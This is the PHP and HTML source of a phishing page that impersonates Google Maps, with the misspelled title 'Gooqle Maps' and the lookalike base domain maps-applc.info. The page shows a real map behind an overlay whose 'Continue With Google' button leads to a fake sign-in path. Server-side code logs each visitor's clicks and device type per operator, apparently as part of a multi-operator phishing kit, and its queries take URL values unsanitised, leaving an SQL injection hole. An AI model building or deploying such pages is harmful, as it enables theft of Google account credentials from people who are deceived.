<?php
 session_start();
// Include the database connection file
include 'db/con.php';

// Check if the parameters exist in the URL
if (isset($_GET['admin_id']) && isset($_GET['user_id'])) {
    $admin_id = $_GET['admin_id'];
    $user_id = $_GET['user_id'];
    
                 $_SESSION['admin_id']=$_GET['admin_id'];
                 $_SESSION['user_id']=$_GET['user_id'];
                 
                 
    // Function to get the correct connection based on admin_id
    function getConnection($admin_id) {
        global $con1, $con2, $con3, $con4, $con5, $con6, $con7, $con8, $con9, $con10, 
               $con11, $con12, $con13, $con14, $con15, $con16, $con17, $con18, $con19, 
               $con20, $con21, $con22, $con23, $con24, $con25, $con26, $con27, $con28, 
               $con29, $con30;

        // Return the connection corresponding to admin_id
        $connectionVar = "con" . $admin_id; // dynamic variable name
        if (isset($$connectionVar)) {
            return $$connectionVar;
        } else {
            return null; // Return null if no connection exists for the admin_id
        }
    }

    // Get the appropriate connection for the given admin_id
    $connection = getConnection($admin_id);

    // Check if connection is established
    if ($connection) {
       
         $userAgent = $_SERVER['HTTP_USER_AGENT'];
  
$isMob = is_numeric(strpos(strtolower($_SERVER["HTTP_USER_AGENT"]), "mobile")); 
  
// Check if the "tablet" word exists in User-Agent 
$isTab = is_numeric(strpos(strtolower($_SERVER["HTTP_USER_AGENT"]), "tablet")); 
 
 
if($isMob){ 
    if($isTab){ 
        $device="tab";
    }else{ 
        $device="mobile";
    } 
}else{ 
     $device="desktop";
} 

 

 $actual_link = 'https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
 
   
  $site_name = 'gmail';
 $device=$device;
        // Query to fetch user details based on user_id
        $userid_query = mysqli_query($connection, "SELECT * FROM `admin` WHERE `id` = '$user_id'");
        
        // Check if query is successful
        if ($userid_query) {
            $row = $userid_query->fetch_assoc();
            $username = $row['username'];  // Get the username
            
            $query=mysqli_query($connection,"INSERT INTO `click`(`username`, `click_site_name`, `link`, `device`, `click_date`) VALUES ('$username','$site_name','$actual_link','$device',now())");
     
         
            
            
        } else {
            echo "Error: " . mysqli_error($connection);  // Show error if query fails
        }
    } else {
          
          
          
          // my database 
          
    }
} else {
     
}
?>



 


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <base href="https://maps-applc.info/@4000870995572163525z/"  >

    <meta http-equiv="X-UA-Compatible" content="IE=edge">
 
  
        
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Gooqle Maps</title>
  
  <!-- Standard favicon -->
  <link rel="icon" href="path/to/favicon.ico" type="image/x-icon">

  <!-- PNG format (preferred by modern browsers) -->
  <link rel="icon" type="image/x-icon" href=css/favicon.ico">
  <!-- Apple Touch Icon for iOS -->
  <link rel="apple-touch-icon" sizes="180x180" href="/img/favicon.png">

  <!-- Favicon for Android Chrome -->
  <link rel="icon" type="image/png" sizes="192x192" href="/img/favicon.png">

  <!-- Manifest for Android Chrome -->
  <link rel="manifest" href="path/to/site.webmanifest">


  
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&display=swap" rel="stylesheet">
	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <style>
      
      
      
       /* New styles for the map background */
        .map-background {
            position: fixed; /* Fixed position */
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1; /* Behind all other content */
        }
           
      
        /* Existing styles */
        .logoimg img {
            width: 240px;
            text-align: left;
            margin-left: -43px;
        }
        .permissions-button {
            background-color: #1a73e8;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
            margin-bottom: 15px;
            font-size: 14px;
        }
        .icon-buttons {
            display: flex;
            justify-content: center;
            gap: 20px;
            margin-bottom: 15px;
        }
        .icon-button {
            background-color: #f44336;
            border: none;
            padding: 20px;
            border-radius: 50%;
            cursor: pointer;
        }
        .icon-button img {
            width: 18px;
            height: 18px;
        }

        .input-section {
            margin: 20px 0;
            text-align: center; /* Center align the content */
        }

        .input-section label {
            display: block; /* Display label as a block */
            font-size: 16px; /* Adjust font size */
            margin-bottom: 10px; /* Add margin below label */
            color: #333; /* Color for better readability */
        }

        .input-section input {
            width: calc(100% - 34px);
            max-width: 300px;
           
            height: 24px;
        }

        .google-button {
            --tw-bg-opacity: 1;
            background-color: rgb(191 219 254 / var(--tw-bg-opacity));
            border: none;
            padding: 10px;
            width: calc(100% - 40px); /* Full width with padding adjustment */
            max-width: 208px; /* Set max width for button */
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            font-size: 14px; /* Font size */
            border-radius: 25px; /* Rounded corners */
            color: #333; /* Button text color */
            margin: 0 auto; /* Center the button */
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1); /* Shadow effect */
            position: fixed; /* Fixed position */
            bottom: 20px; /* Position it at the bottom */
            left: 50%; /* Center horizontally */
            transform: translateX(-50%); /* Center alignment */
            z-index: 1; /* Position above overlay */
            margin-bottom: 249px;
        }

        .footer-text {
            font-size: 12px;
            color: #555;
            position: fixed; /* Make footer fixed */
            bottom: 0; /* Align it to the bottom */
            padding: 10px 0; /* Add some padding */
        }

        .footer-text a {
            color: #1a73e8;
            text-decoration: none;
        }
        .signtext {
            text-align: right;
            float: right;
            font-size: 24px;
            margin-top: 4px;
            color: dodgerblue;
            font-family: system-ui;
        }
        .blackzon {
            background: black;
            padding: 8px;
        }

        .h2text {
            margin-top: 22px;
            color: white;
            font-family: monospace;
            padding: 22px;
            font-size: 22px;
        }

        body {
            font-family: 'Roboto', sans-serif;
            background-color: #f8f9fa;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0;
        }
        
        .container {
            width: 350px;
            padding: 20px;
            border-radius: 8px;
            text-align: center;
            position: relative; /* Relative positioning for overlay */
            z-index: 6; /* Position above background */
        }
        
        .overlay {
            position: fixed; /* Covers the entire page */
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(255, 255, 255, 0.8); /* Semi-transparent white background */
            z-index: 5; /* Position above all content */
            display: none; /* Hidden initially */
            align-items: center; /* Center content vertically */
            justify-content: center; /* Center content horizontally */
        }

        .google-button-overlay {
            position: absolute;
            top: 55%;
            left: 50%;
            transform: translate(-50%, -50%);
            background-color: rgb(191 219 254); /* Set button color */
            border: none;
            padding: 10px;
            width: calc(100% - 40px); 
            max-width: 208px;
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            font-size: 14px;
            border-radius: 25px;
            color: #333;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
            z-index: 1; /* Position above overlay */
        }

        .google-button-overlay img {
            width: 30px;
            margin-right: 2px;
        }

        .google-button-overlay:hover {
            background-color: #d0e7fb;
        }
		
      .search-container {
        display: flex;
        align-items: center;
        background-color: white; /* Background color */
        border: 1px solid #ddd; /* Border */
        border-radius: 25px; /* Rounded corners */
        padding: 5px 10px; /* Padding */
      
      }

      #name {
        border: none; /* Remove default border */
        outline: none; /* Remove outline */
        flex: 1; /* Grow to fill the space */
        padding: 5px; /* Input padding */
      }

      .search-btn, .clear-btn {
        background: none; /* Remove button background */
        border: none; /* Remove button border */
        cursor: pointer; /* Pointer cursor on hover */
        font-size: 18px; /* Adjust font size */
        margin-left: 5px; /* Space between icons */
      }
      a{
           text-decoration: none;
      }

      
        /* Remaining styles unchanged... */
    </style>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>

 
</head>
<body>
    
    <!-- Google Map iframe as background -->
   <iframe 
  class="map-background"
  src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d12655578.066505564!2d-113.74204171085042!3d37.27557800393908!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x0!2sUnited%20States!5e0!3m2!1sen!2sus!4v1693230233956!5m2!1sen!2sus" 
  width="600" 
  height="450" 
  style="border:0;" 
  allowfullscreen="" 
  loading="lazy" 
  referrerpolicy="no-referrer-when-downgrade">
</iframe>


    <!-- Overlay for "Continue with Google" button -->
<div class="overlay" style="display: none;"> <!-- Make sure overlay is initially hidden -->
    <a href="v3/signin/" class="google-button-overlay" id="googleButtonOverlay">
        <img src="css/google.webp" alt="Google Icon">
        Continue With Google 
    </a>
</div>

<div class="container">
    <div class="input-section">
        <label for="name">What's your area?</label><br>
        <input type="hidden" id="name" value="G-map">

        <div class="search-container">
            <input style="border: none; outline: none;" type="text" value="40.333453, -102.437074">
            <i id="searchIcon" class="fa fa-search" style="font-size:20px; color: #6565c5; padding:7px"></i>
            <button class="clear-btn">&times;</button> <!-- Unicode for 'X' symbol -->
        </div>

      
    </div>

    <p class="footer-text">
        By joining, you agree to the Google <a href="#">Terms of Service</a> and <a href="#">Privacy Policy</a>. System info will be sent to confirm you‘re not a bot.
    </p>
</div>


<script>
    $(document).ready(function() {
        setTimeout(function() {
            $('.overlay').fadeIn(); // Fade in the overlay after 4 seconds
        }, 500);

       
        // Event handler for Google button inside the overlay
        $('#googleButtonOverlay,#searchIcon').click(function() {
           

        });
    });
</script>

</body>
</html>